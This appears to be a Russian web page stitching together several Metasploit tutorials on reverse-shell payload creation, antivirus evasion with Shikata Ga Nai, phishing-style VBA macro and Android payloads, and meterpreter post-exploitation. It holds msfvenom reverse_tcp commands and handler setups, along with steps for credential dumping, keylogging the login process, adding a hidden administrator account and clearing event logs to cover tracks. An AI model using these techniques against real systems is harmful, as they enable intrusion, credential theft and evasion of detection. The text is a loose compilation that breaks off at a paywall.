Как в metasploit выбрать tcp reverse shell для windows 10 x64

Обновлено: 05.07.2024

Metasploit Framework — самый масштабный и распиаренный из всех фреймворков для эксплуатации и постэксплуатации. Даже если ты не используешь его сам, то наверняка встречал немало упоминаний MSF в наших статьях. Однако вводной статьи по нему в «Хакере» не было, а если и была, то так давно, что не считается. Я попробую начать с самого начала, а заодно расскажу, как именно этот фреймворк использует моя команда, и дам разные практические советы.

Установка Metasploit Framework

В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:

Если же ты хочешь использовать Metasploit Framework, например, в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:

База данных Metasploit

Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время. Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.

Проверить подключение к базе данных можно из самого фреймворка, выполнив команду db_status .


Успешное подключение к базе данных Metasploit

Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство в наш проект.


Создание нового рабочего пространства

Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap , но из Metasploit и с привязкой к текущей базе данных — db_nmap .

Сам вывод Nmap нам неинтересен: все, что нужно, будет сохранено в базе данных. К примеру, у нас есть уже все просканированные хосты и мы можем их просмотреть одним списком с помощью команды hosts .


Список просканированных хостов, сохраненный в базе данных

Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.

Список всех найденных служб Список найденных на определенном хосте служб

У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:


Модули для брутфорса учетных данных некоторых служб

Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info .


Описание модуля smb_login

Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.

Настройка модуля smb_login Обнаруженный smb_login пароль для целевого пользователя

Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой creds .


Хранилище учетных данных msfdb

Я описал не все функции msfdb (есть интеграции со сканерами Nessus и OpenVAS), а лишь те, которыми постоянно пользуется наша команда.

Получение точки опоры

Полезная нагрузка

Metasploit предоставляет большой арсенал возможностей для создания полезной нагрузки. Но нужно учитывать, что существуют разные способы внедрения этой самой нагрузки. С помощью фреймворка можно создавать как легкие пейлоады для выполнения команд и получения простого шелла, так и сложные, например meterpreter или VNC (с использованием дополнительного загрузчика).

При этом одна и та же полезная нагрузка может работать как в режиме ожидания подключения (bind), так и в режиме reverse (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.

Чтобы найти нагрузку для определенного случая, используем команду search .


Некоторые виды полезной нагрузки Metasploit

В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.

Давай для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows, — это windows/x64/meterpreter/reverse_tcp .


Описание нагрузки windows/x64/meterpreter/reverse_tcp

Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe .


Создание нагрузки с помощью msfvenom

Исполняемый файл с нагрузкой готов. Да, у msfvenom есть еще много функций вроде задержек и кодеров, но наша команда их не использует.

Листенер

За создание листенера отвечает модуль exploit/multi/handler . Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада.


Создание листенера

Есть быстрый способ создать такой листенер — команда укладывается в одну строку.


Создание листенера

И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.

Эксплоиты

Об используемых нами эксплоитах в обертке Metasploit Framework я расскажу кратко, так как для получения точки опоры мы используем только два из них. Это exploit/windows/smb/psexec и exploit/windows/smb/ms17_010_eternalblue . Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.


Получение сессии meterpreter

В итоге мы получаем сессию meterpreter для удаленного хоста с операционной системой Windows.

Эксплуатация и постэксплуатация

Windows

База meterpreter

Теперь я расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload . Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate . Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps ).


Мигрирование в другой процесс

Также мы можем создавать свои процессы. Для этого нужно указать лишь файл ( -f ) и при желании включить интерактивный ( -i ) или скрытый ( -H ) режимы.


Создание скрытого процесса cmd.exe

Кстати, проблема кодировки решается с помощью команды cp 65001 . Опция, используемая почти всегда, — переход в контекст SYSTEM. Для этого нужно просто выполнить команду getsystem .


Переход в контекст SYSTEM

Очень полезна функция поиска файлов, если тебе нужно найти на удаленной машине документы или архивы.


Поиск всех файлов TXT

Еще можно выполнить на взломанном хосте команду PowerShell или Python, а также загрузить PS1-файл или скрипт на Python в память. Для этого сначала запусти нужные модули, а потом выбери соответствующую команду.

Модуль PowerShell Модуль Python

Туннели

Одна из самых крутых возможностей Metasploit — создание туннелей. Мы можем использовать захваченный хост как мост между внешней и внутренней сетью. Обычно сначала проверяют, есть ли дополнительные сетевые интерфейсы.


Получение адреса внутренней сети

Для обнаружения хостов мы можем посмотреть таблицу ARP.


ARP-таблица целевого хоста

Теперь нам необходимо построить туннель. Сначала создадим маршрут и проверим его с помощью autoroute .

Создание маршрута Список созданных маршрутов

Теперь отправим сессию в фоновый режим, тем самым перейдя из оболочки meterpreter в оболочку msf.


Переход в фоновый режим

На следующем этапе нам нужно настроить SOCKS-прокси-сервер. За это отвечает модуль auxiliary/server/socks4a . В качестве параметров он принимает хост и порт (по умолчанию — localhost:1080 ).


Создание SOCKS4-прокси-сервера

Чтобы вернуться обратно в оболочку meterpreter, можно воспользоваться командой sessions и указать номер сессии.


Переход в фоновый режим

В качестве редиректора мы можем использовать ProxyChains. Для этого укажем адрес созданного нами прокси-сервера в файле конфигурации /etc/proxychains.conf .


Файл конфигурации ProxyChains

Теперь просканируем с помощью Nmap и созданного туннеля найденный в ARP-таблице хост.


Сканирование портов хоста во внутренней сети через туннель Metasploit

Сбор учетных данных

Сбор паролей и хешей — неотъемлемая часть любой атаки, и Metasploit позволяет это делать легко и непринужденно. Первый метод — воспользоваться командой hashdump , которая собирает хеши из файла SAM.


Использование опции hashdump

Если мы имеем доступ к контроллеру домена, то можем очень легко сдампить файл NTDS.DIT (что это за файл и зачем он нужен, подробно рассказывалось вот в этой статье).


Использование опции hashdump

При этом мы можем получать пароли из групповой политики и MS SQL благодаря модулям post/windows/gather/credentials/gpp , а также сохраненные пароли Skype, TeamViewer и Outlook ( post/windows/gather/credentials/outlook , post/windows/gather/credentials/skype , post/windows/gather/credentials/teamviewer_passwords ). Ну и конечно же, я не могу оставить без внимания браузеры, из которых мы получаем не только учетные данные, но еще и файлы куки, и историю просмотра веб-страниц.


Получение данных из браузера

Все эти файлы сохранятся в базе msfdb , и к ним всегда можно получить доступ, выполнив команду loot .

Meterpreter — это рас­ширен­ная мно­гофун­кци­ональ­ная наг­рузка (payload), которая исполь­зует­ся в Metasploit Framework как уни­фици­рован­ная осно­ва для пос­тэкс­плу­ата­ции. По сути — про­качан­ная аль­тер­натива клас­сичес­ким шелл‑кодам. Это отличный инс­тру­мент в арсе­нале любого пен­тесте­ра, но он нас­толь­ко популя­рен, что его сиг­натуры есть в базах любого защит­ного ПО, будь то Windows 10, анти­вирус или даже Google Chrome.

Shikata Ga Nai

Од­на из основных тех­ник Metasploit — это схе­ма кодиро­вания полез­ной наг­рузки Shikata Ga Nai (наз­вание перево­дит­ся с япон­ско­го как «ничего не подела­ешь»). Работа­ет она за счет SGN, уни­каль­ного «полимор­фно­го адди­тив­ного энко­дера XOR». Бла­года­ря ему каж­дый раз, ког­да ты кодиру­ешь шелл‑код, это будет про­исхо­дить по‑дру­гому, от чего наг­рузка ста­новит­ся для анти­виру­са безопас­ной на вид.

В SGN реали­зова­ны: динами­чес­кая замена команд, динами­чес­кое упо­рядо­чение бло­ков, слу­чай­ный обмен регис­тра­ми, ран­домиза­ция поряд­ка команд, встав­ка ненуж­ного кода, исполь­зование слу­чай­ного клю­ча и ран­домиза­ция рас­сто­яния меж­ду коман­дами.

При всех плю­сах тех­ника кодиро­вания Shikata Ga Nai не всег­да быва­ет эффектив­ной на пос­ледних вер­сиях Windows.

Под­робнее о Shikata Ga Nai читай в пуб­ликации Ника Хоф­фма­на, Дже­реми Хам­бла и Тоби Тей­лора.

Определение проблемы

Да­вай про­верим Shikata Ga Nai на прак­тике и узна­ем, дей­стви­тель­но ли его популяр­ность при­вела к тому, что SGN отлавли­вают анти­виру­сы. В качес­тве жер­твы я буду исполь­зовать свой ноут­бук с пос­ледней вер­сией Windows 10 со все­ми уста­нов­ленны­ми обновле­ниями (Build 19042).

Для начала сге­нери­руем стан­дар­тную наг­рузку без SGN:

$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes

На Kali под­нимем handler. На интерфей­се eth1 IP-адрес 10. 10. 0. 180 :

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

Очевидно, что файл заблокировал Google Chrome

Оче­вид­но, что файл заб­локиро­вал Google Chrome

Да­вай поп­робу­ем открыть файл. На этой машине с Windows 10 у меня уста­нов­лена под­систе­ма Linux (WSL). Ска­чаем этот файл в тер­минале с помощью wget и поп­робу­ем запус­тить.

При попытке открыть нас ждет предупреждение и файл удаляется

При попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся

Файл Meterpreter был уда­лен даже без обра­щения к нему. Нуж­но лишь ска­чать и подож­дать око­ло минуты. Какая вни­матель­ная Windows! 🙂

Автоматическое удаление файла с Meterpreter

Ав­томати­чес­кое уда­ление фай­ла с Meterpreter

Тем вре­менем на машине с Kali тишина и слы­шен звук свер­чков. Поп­робу­ем теперь тех­нику кодиро­вания Shikata Ga Nai. Соз­даем новый пей­лоад в MSFvenom. На машине с Kali по‑преж­нему висит в ожи­дании handler.

До­бавим к опци­ям -e x86/ shikata_ga_nai -b '\ x00' -i 20 , то есть исполь­зуем SGN в 20 ите­раций с уда­лени­ем пло­хого сим­вола \ x00 .

$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes

SGN не помог обойти антивирус

SGN не помог обой­ти анти­вирус

Сно­ва неуда­ча. Пос­ле ска­чива­ния с помощью Wget и запус­ка нас ждет такая же исто­рия, как и в прош­лый раз, — с пос­леду­ющим уда­лени­ем вре­доно­са. Какой мож­но сде­лать вывод? Пра­виль­но, на новых вер­сиях Windows 10 Shikata Ga Nai бес­полезен.

C сен­тября 2020 года ком­пания Google вве­ла Advanced Protection Program для высоко­рис­ковых поль­зовате­лей, таких как полити­ки и жур­налис­ты. Заг­ружа­емые учас­тни­ками этой прог­раммы фай­лы могут сна­чала прой­ти про­вер­ку на сер­верах Google, а лишь потом попасть к поль­зовате­лю.

Так про­исхо­дит потому, что при запус­ке исполня­емо­го фай­ла и перед заг­рузкой его в память сис­тема пыта­ется най­ти сиг­натуры, при­над­лежащие вре­донос­ному ПО. В нашем слу­чае такие сиг­натуры были най­дены и обна­руже­ны. Поэто­му Windows 10 не раз­решила запуск. Даже SGN не помог. Сам по себе полимор­физм в нем неп­лох, но сле­пок ста­ба это­го энко­дера уже дав­но изу­чен.

Запуск Meterpreter из памяти

Оче­вид­ное решение — уход в сто­рону выпол­нения Meterpreter из памяти работа­юще­го про­цес­са. Воз­можно, нам удас­тся обой­ти не толь­ко ста­тичес­кий ана­лиз, но и динами­чес­кий ана­лиз защит­ника Windows Defender.

Для выпол­нения прог­раммы из памяти я буду исполь­зовать Python. Из­вестен спо­соб запус­ка обратно­го шел­ла Python с пос­леду­ющей ком­пиляци­ей скрип­та в еди­ный исполня­емый файл модулем py2exe. Безус­ловно, вари­ант рабочий, хотя, как отме­чает автор статьи по ссыл­ке, питонов­ский шелл в Windows не поз­воля­ет делать некото­рые вещи. Всег­да есть воз­можность про­апгрей­дить Meterpreter пря­мо в сес­сии (post-модуль shell_to_meterpreter ). Одна­ко это не всег­да удоб­но, и этот спо­соб мож­но улуч­шить.

Продолжение доступно только участникам

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Denis Simonov

Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.

Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:


Организация Bind Shell-подключения


Теперь запустим msfconsole и введём нижеприведённые команды для того, чтобы открыть сессию:

После выполнения файла в нашем распоряжении окажется meterpreter-подключение к целевому компьютеру:



Использованная здесь опция bind_tcp полезна в тех случаях, когда мы отключаемся от компьютера жертвы, но он при этом ещё работает. Мы можем выполнить ту же команду и подключиться снова, при этом не нужно, чтобы эксплойт снова запускали на удалённом компьютере.

Организация Reverse Shell-подключения

Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:


В данном случае мы включаем в команду некоторые новые параметры, такие, как lhost (локальный хост), lport (локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.

После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим msfconsole и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.


На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия meterpreter .



После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем msfconsole и вводим следующие команды для организации подключения:


Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.


Скрытое Bind Shell-подключение

Исследуем ещё одну возможность msfvenom и попытаемся с её помощью обрести контроль над удалённым компьютером. В этот раз мы хотим заполучить доступ к командной оболочке, а не к сессии meterpreter.

Пэйлоад, который мы создадим нижеприведённой командой, после выполнения, прячется в системе, его нельзя обнаружить сканером портов.


После того, как файл готов и отправлен жертве, мы можем перейти к следующему шагу. А именно, воспользуемся Netcat, введя в терминале Kali следующую команду:


Reverse Shell-подключение с помощью Netcat

Теперь рассмотрим ещё один подход к использованию пэйлоадов типа shell_reverse_tcp , которые позволяют получить доступ к оболочке командной строки атакуемого компьютера. Введём в терминале Kali следующую команду:


После создания файла и отправки его на атакуемый компьютер, создадим прослушиватель порта с использованием netcat :


При условии, что наш пэйлоад был успешно выполнен на удалённом компьютере, ниже показано то, как выглядит подключение к нему.


Пэйлоады-макросы на VBA

Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:



Тут введём имя макроса и нажмём на кнопку Create . Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать This Workbook .


После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.



Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.


VNC-пэйлоад

Хотя и неприлично, без ведома человека, наблюдать за тем, что он делает за компьютером, тот пэйлоад, который мы создадим сейчас, занимается именно этим. Откроем терминал Kali и введём следующую команду:


После создания пэйлоада мы, как обычно, отправляем его жертве, после чего начинаем готовиться к подключению. Для этого вызываем в терминале команду msfconsole и делаем следующее:


Тут можно видеть, что выполнена VNC-инъекция, что установлено удалённое соединение. Так же на компьютере под управлением Kali откроется окно Remote Desktop.


Пэйлоад для Android

Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:


После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:

После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.


Пэйлоад для Linux

Откроем терминал Kali и введём следующую команду:



После выполнения пэйлоада будет создано обратное TCP-подключение к нашему компьютеру, которое предоставит в наше распоряжение сессию meterpreter.


Пэйлоад для PowerShell

Для того, чтобы создать пэйлоад для PowerShell, откроем терминал Kali и введём следующую команду:


Теперь, как обычно, после создания пэйлоада, передадим его на интересующий нас компьютер и подготовимся принять подключение:

После запуска пэйлоад создаст обратное подключение к оболочке. Выглядит это так, как показано ниже.

Научите вас использовать Meterpreter для проникновения в систему Windows

В этой статье мы познакомим вас с тем, как использовать Meterpreter для сбора информации в целевой системе Windows, получения учетных данных пользователя, создания нашей собственной учетной записи, включения удаленного рабочего стола, создания снимков экрана, получения журналов ключей пользователей и т. Д.

 Meterpreter Windows

Связанная полезная нагрузка

Полезная нагрузка содержит вредоносный код, который необходимо запускать в удаленной системе. В Metasploit полезная нагрузка - это специальный модуль, который может запускаться как модуль эксплойта и может использовать уязвимости системы безопасности в целевой системе для проведения атак. Короче говоря, этот модуль эксплойта может получить доступ к целевой системе, а код в нем определяет поведение полезной нагрузки в целевой системе.

Модуль Payload в Metasploit в основном имеет следующие три типа:

Single - это полностью независимая полезная нагрузка, и ее так же просто использовать, как запустить calc.exe, например, добавить системного пользователя или удалить файл. Поскольку Single Payload полностью независим, они могут быть похожимиnetcatЗахвачено такими инструментами обработки, не связанными с metasploit.

Полезная нагрузка Stager отвечает за установление сетевого соединения между целевым пользователем и злоумышленником и загрузку дополнительных компонентов или приложений. Обычная полезная нагрузка Stagers - reverse_tcp, которая позволяет целевой системе устанавливать TCP-соединение со злоумышленником. Другой распространенный - bind_tcp, который позволяет целевой системе открывать tcp-прослушиватель, и злоумышленник может связываться с целевой системой в любое время.

Stage - это своего рода компонент полезной нагрузки, загружаемый Stager Payload, этот вид полезной нагрузки может предоставлять более продвинутые функции и не имеет ограничений по размеру.

В Metasploit мы можем определить его тип по имени и формату полезной нагрузки:

Когда мы выполняем команду "show payloads" в Metasploit, она покажет нам список доступных полезных нагрузок:

 Meterpreter Windows

В этом списке windows / powershell_bind_tcp - это одиночные полезные данные, которые не включают полезные данные этапа. Windows / x64 / meterpreter / reverse_tcp состоит из Stage Payload (reverse_tcp) и Stage Payload (meterpreter).

Что такое Meterpreter?

В Metasploit Framework Meterpreter - это инструмент после проникновения, который относится к динамически масштабируемой полезной нагрузке, которая может быть расширена через сеть во время работы. Этот инструмент основан на концепции «внедрения DLL в память». Он может заставить целевую систему запустить внедренный файл DLL путем создания нового процесса и вызова внедренной DLL.

Среди них связь между злоумышленником и Meterpreter на целевом устройстве достигается через сокет Stager.

Развернуть Meterpreter

Здесь мы выбрали использование reverse_tcp (windows / x64 / meterpreter / reverse_tcp) в качестве Stager, конфигурация и работа показаны на следующем рисунке:

 Meterpreter Windows

Примечание. После выполнения команды эксплойта мы открыли процессор reverseTCP для прослушивания 192.168.198.196:4444, который является моим (злоумышленником) локальным адресом хоста (LHOST) и номером порта (LPORT). После успешного запуска мы увидим, что отображается meterpreter> командной строки.

Затем мы можем начать «делать что-то».

Файловая система доступа

Meterpreter поддерживает множество команд файловой системы (в основном похожих на системные команды Linux), некоторые из наиболее часто используемых команд следующие:

cd: переключить целевой каталог;

cat: прочитать содержимое файла;

del: удалить файлы;

edit: используйте vim для редактирования файлов

ls: получить файлы в текущем каталоге;

mkdir: новый каталог;

rmdir: удалить каталог;

 Meterpreter Windows

Загрузить / скачать файлы

Команда «download» может помочь нам загружать файлы из целевой системы, а команда «upload» может загружать файлы в целевую систему.

Пример использования команды «скачать» следующий:

 Meterpreter Windows

Повышение привилегий

Иногда вы можете обнаружить, что ваш сеанс Meterpreter ограничен разрешениями пользователя, что серьезно повлияет на ваши действия в целевой системе. Например, такие действия, как изменение реестра, установка бэкдоров или экспорт паролей, требуют повышения прав пользователя, и Meterpreter предоставляет нам команду "getsystem", которая может использовать несколько технологий для повышения привилегий в целевой системе:

 Meterpreter Windows

Команда "getuid" может получить информацию о текущем пользователе. В приведенном выше примере пользователем является "NT AUTHORITY \ SYSTEM", который является локальной системной учетной записью Windows.

Получить учетные данные

И сценарий, и модуль post должны быть выполнены с помощью команды "run". Результаты после запуска модуля hashdump в тестовой среде будут следующими:

 Meterpreter Windows

Формат вывода данных: имя пользователя: SID: LM hash: NTLM hash . поэтому мы получили три учетные записи пользователей, а именно: Administrator, Guest и Coen.

один из нихLMХеш (aad3b435b51404eeaad3b435b51404ee) иNTLMХеш (31d6cfe0d16ae931b73c59d7e0c089c0) соответствует пустому паролю.

Следующее, что нужно сделать, это пароль пользователя Coen (f773c5db7ddebefa4b0dae7ee8c50aea). Хотя мы можем использовать что-то вродеJohn the RipperТакой инструмент для взлома пароля, но мы напрямуюGoogleПосле этого хеша вы сразу получаетеОткрытый текст пароля:trustno1。

Запустите программу

Мы также можем использовать команду «выполнить» для выполнения приложения в целевой системе. Использование этой команды выглядит следующим образом:

После запуска он выполнит файл, указанный в параметре файла. Необязательные параметры следующие:

-H: создать скрытый процесс

-a: параметры, переданные команде

-i: взаимодействовать с процессом

-m: выполнить из памяти

-t: запустить процесс, используя подделанный токен потока.

-s: выполнить процесс в данном сеансе

 Meterpreter Windows

Скриншоты

Мы можем использовать команду «Снимок экрана», чтобы сделать снимок экрана и сохранить его в нашей системе.

 Meterpreter Windows

Эффект от перехвата следующий:

 Meterpreter Windows

Создать новый аккаунт

Затем мы можем создать новую учетную запись пользователя в целевой системе (сценарий getgui, использовать параметры -u и -p) и назначить ей права администратора (использовать), а затем добавить ее в группу «Пользователи удаленного рабочего стола». в.

 Meterpreter Windows

 Meterpreter Windows

Конечно, вы также можете попытаться скрыть недавно добавленного пользователя Hacker в интерфейсе входа в Windows.

Включить удаленный рабочий стол

Когда у нашего нового добавленного пользователя уже естьРазрешения удаленного рабочего столаПосле этого мы можем использовать эти учетные данные для открытия сеанса удаленного рабочего стола.

Прежде всего, нам нужно убедиться, что функция удаленного рабочего стола включена на целевом устройстве Windows (необходимо включить несколько служб), но наш сценарий getgui может помочь нам в этом. Мы можем использовать параметр -e, чтобы гарантировать, что функция удаленного рабочего стола включена на целевом устройстве (она также будет включена автоматически после перезапуска):

 Meterpreter Windows

Перед запуском сеанса удаленного рабочего стола нам также необходимо использовать команду "idletime", чтобы проверить время простоя удаленного пользователя:

 Meterpreter Windows

Это может снизить вероятность того, что вас обнаружат, потому что, когда целевой пользователь входит в систему, он увидит следующую информацию:

 Meterpreter Windows

На следующем рисунке показан экран, на котором злоумышленник использует вновь созданную учетную запись «Хакер» для подключения к удаленному рабочему столу:

 Meterpreter Windows

Кейлоггер

Meterpreter также может реализовать функцию кейлоггера на целевом устройстве.Кейлоггер в основном включает следующие три команды:

keyscan_start: включить функцию кейлоггера

keyscan_dump: отобразить записанную информацию о кейлоге

keyscan_stop: остановить функцию кейлоггера

Во-первых, нам нужно запустить процесс кейлоггера:

 Meterpreter Windows

После запуска нам нужно подождать некоторое время, прежде чем экспортировать информацию о записи:

 Meterpreter Windows

Однако при использовании функции кейлоггинга обычно требуется выполнить привязку к целевому процессу.Далее мы расскажем, как привязать процесс.

Процесс привязки

Meterpreter может работать отдельно или связываться с другими процессами. Следовательно, мы можем привязать Meterpreter к такому процессу, как explorer.exe, и использовать его для достижения постоянства.

В следующем примере мы привяжем Meterpreter к winlogon.exe и захватим записи клавиатуры во время процесса входа в систему.

Во-первых, нам нужно использовать команду «ps» для просмотра процессов, запущенных на целевом устройстве:

 Meterpreter Windows

Затем используйте «getpid», чтобы найти процесс, который необходимо связать, а затем используйте команду migrate + pid для привязки процесса.

 Meterpreter Windows

После завершения привязки мы можем начать сбор данных клавиатуры:

 Meterpreter Windows

Затем мы можем выбрать экспорт кейлогов или использовать команду enum_logged_on_users, чтобы проверить, успешно ли пользователь вошел в систему:

 Meterpreter Windows

Подождав некоторое время, используйте команду keyscan_dump для экспорта информации о записи:

 Meterpreter Windows

Захваченный пароль пользователя - trustno1.

Очистить журнал событий

Завершив операцию атаки, не забудьте «очистить поле боя». Все наши операции будут записываться в файл журнала целевой системы, поэтому нам нужно использовать команду «clearev» для очистки журнала событий после завершения атаки:

 Meterpreter Windows

подводить итоги

Конечно, функция Meterpreter - это гораздо больше. Содержание, представленное в этой статье, является лишь верхушкой айсберга. Заинтересованные студенты могут использовать поисковые системы, чтобы больше узнать о соответствующих знаниях.

Читайте также: